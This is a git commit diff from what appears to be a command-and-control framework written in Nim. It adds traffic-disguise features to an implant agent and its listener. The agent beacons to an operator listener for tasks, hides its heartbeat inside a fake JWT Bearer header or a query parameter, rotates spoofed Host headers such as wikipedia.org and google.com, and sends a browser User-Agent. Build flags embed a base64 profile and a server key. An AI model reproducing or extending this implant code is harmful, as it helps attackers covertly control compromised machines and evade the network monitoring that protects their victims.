Added more randomization. The profile now supports setting keys to an array of strings, from which a random one is chosen each time (useful for e.g. Host header, etc.)
This commit is contained in:
@@ -50,7 +50,11 @@ lang = "en-US"
|
|||||||
|
|
||||||
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
||||||
[http-get.agent.headers]
|
[http-get.agent.headers]
|
||||||
Host = "wikipedia.org"
|
Host = [
|
||||||
|
"wikipedia.org",
|
||||||
|
"google.com",
|
||||||
|
"127.0.0.1"
|
||||||
|
]
|
||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
@@ -83,7 +87,11 @@ request-methods = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
[http-post.agent.headers]
|
[http-post.agent.headers]
|
||||||
Host = "wikipedia.org"
|
Host = [
|
||||||
|
"wikipedia.org",
|
||||||
|
"google.com",
|
||||||
|
"127.0.0.1"
|
||||||
|
]
|
||||||
Content-Type = "application/octet-stream"
|
Content-Type = "application/octet-stream"
|
||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|||||||
@@ -13,18 +13,28 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
|
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
|
||||||
of "none":
|
of "none":
|
||||||
heartbeatString = Bytes.toString(heartbeat)
|
heartbeatString = Bytes.toString(heartbeat)
|
||||||
|
|
||||||
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
|
|
||||||
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
|
|
||||||
|
|
||||||
let payload = prefix & heartbeatString & suffix
|
# Define request headers, as defined in profile
|
||||||
|
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
||||||
|
client.headers.add(header, value.getStringValue())
|
||||||
|
|
||||||
|
# Select a random endpoint to make the request to
|
||||||
|
var endpoint = ctx.profile.getString("http-get.endpoints")
|
||||||
|
if endpoint[0] == '/':
|
||||||
|
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||||
|
|
||||||
|
let
|
||||||
|
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
|
||||||
|
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
|
||||||
|
payload = prefix & heartbeatString & suffix
|
||||||
|
|
||||||
# Add heartbeat packet to the request
|
# Add heartbeat packet to the request
|
||||||
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
|
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||||
of "header":
|
of "header":
|
||||||
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
|
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
|
||||||
of "parameter":
|
of "parameter":
|
||||||
discard
|
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
|
endpoint &= fmt"{param}={payload}&"
|
||||||
of "uri":
|
of "uri":
|
||||||
discard
|
discard
|
||||||
of "body":
|
of "body":
|
||||||
@@ -32,24 +42,13 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
else:
|
else:
|
||||||
discard
|
discard
|
||||||
|
|
||||||
# Define request headers, as defined in profile
|
|
||||||
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
|
||||||
client.headers.add(header, value.getStringValue())
|
|
||||||
|
|
||||||
# Define additional request parameters
|
# Define additional request parameters
|
||||||
var params = ""
|
|
||||||
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
||||||
params &= fmt"&{param}={value.getStringValue()}"
|
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||||
params[0] = '?'
|
|
||||||
|
|
||||||
# Select a random endpoint to make the request to
|
|
||||||
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStringValue()
|
|
||||||
if endpoint[0] == '/':
|
|
||||||
endpoint = endpoint[1..^1]
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||||
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
|
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
@@ -69,11 +68,11 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
client.headers.add(header, value.getStringValue())
|
client.headers.add(header, value.getStringValue())
|
||||||
|
|
||||||
# Select a random endpoint to make the request to
|
# Select a random endpoint to make the request to
|
||||||
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStringValue()
|
var endpoint = ctx.profile.getString("http-post.endpoints")
|
||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1]
|
endpoint = endpoint[1..^1]
|
||||||
|
|
||||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStringValue("POST"))
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
|
||||||
|
|
||||||
let body = Bytes.toString(data)
|
let body = Bytes.toString(data)
|
||||||
|
|
||||||
|
|||||||
@@ -7,4 +7,4 @@
|
|||||||
-d:ListenerPort=8080
|
-d:ListenerPort=8080
|
||||||
-d:SleepDelay=3
|
-d:SleepDelay=3
|
||||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||||
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpIb3N0ID0gIndpa2lwZWRpYS5vcmciCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKQ2FjaGUtQ29udHJvbCA9ICJuby1jYWNoZSIKCltodHRwLXBvc3QuYWdlbnQub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKW2h0dHAtcG9zdC5zZXJ2ZXIuaGVhZGVyc10KU2VydmVyID0gIm5naW54IgoKW2h0dHAtcG9zdC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCg=="
|
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtcG9zdC5hZ2VudC5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgpbaHR0cC1wb3N0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCgpbaHR0cC1wb3N0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoK"
|
||||||
|
|||||||
@@ -23,8 +23,21 @@ proc randomChar(): char =
|
|||||||
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
return alphabet[rand(alphabet.len - 1)]
|
return alphabet[rand(alphabet.len - 1)]
|
||||||
|
|
||||||
|
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
||||||
|
if values.len == 0:
|
||||||
|
return nil
|
||||||
|
return values[rand(values.len - 1)]
|
||||||
|
|
||||||
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
||||||
let value = key.getStr(default)
|
|
||||||
|
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
|
||||||
|
# A random entry is selected from these specifications
|
||||||
|
var value: string = ""
|
||||||
|
if key.kind == TomlValueKind.String:
|
||||||
|
value = key.getStr(default)
|
||||||
|
elif key.kind == TomlValueKind.Array:
|
||||||
|
value = key.getElems().getRandom().getStr(default)
|
||||||
|
|
||||||
# Replace '#' with a random alphanumerical character and return the resulting string
|
# Replace '#' with a random alphanumerical character and return the resulting string
|
||||||
return value.mapIt(if it == '#': randomChar() else: it).join("")
|
return value.mapIt(if it == '#': randomChar() else: it).join("")
|
||||||
|
|
||||||
@@ -57,8 +70,3 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
|||||||
if key == nil:
|
if key == nil:
|
||||||
return @[]
|
return @[]
|
||||||
return key.getElems()
|
return key.getElems()
|
||||||
|
|
||||||
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
|
||||||
if values.len == 0:
|
|
||||||
return nil
|
|
||||||
return values[rand(values.len - 1)]
|
|
||||||
@@ -30,7 +30,12 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
heartbeatString = ctx.request.getHeader(heartbeatHeader)[0]
|
heartbeatString = ctx.request.getHeader(heartbeatHeader)[0]
|
||||||
|
|
||||||
of "parameter":
|
of "parameter":
|
||||||
discard
|
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
|
heartbeatString = ctx.getQueryParams(param)
|
||||||
|
if heartbeatString.len <= 0:
|
||||||
|
resp "", Http404
|
||||||
|
return
|
||||||
|
|
||||||
of "uri":
|
of "uri":
|
||||||
discard
|
discard
|
||||||
of "body":
|
of "body":
|
||||||
|
|||||||
Reference in New Issue
Block a user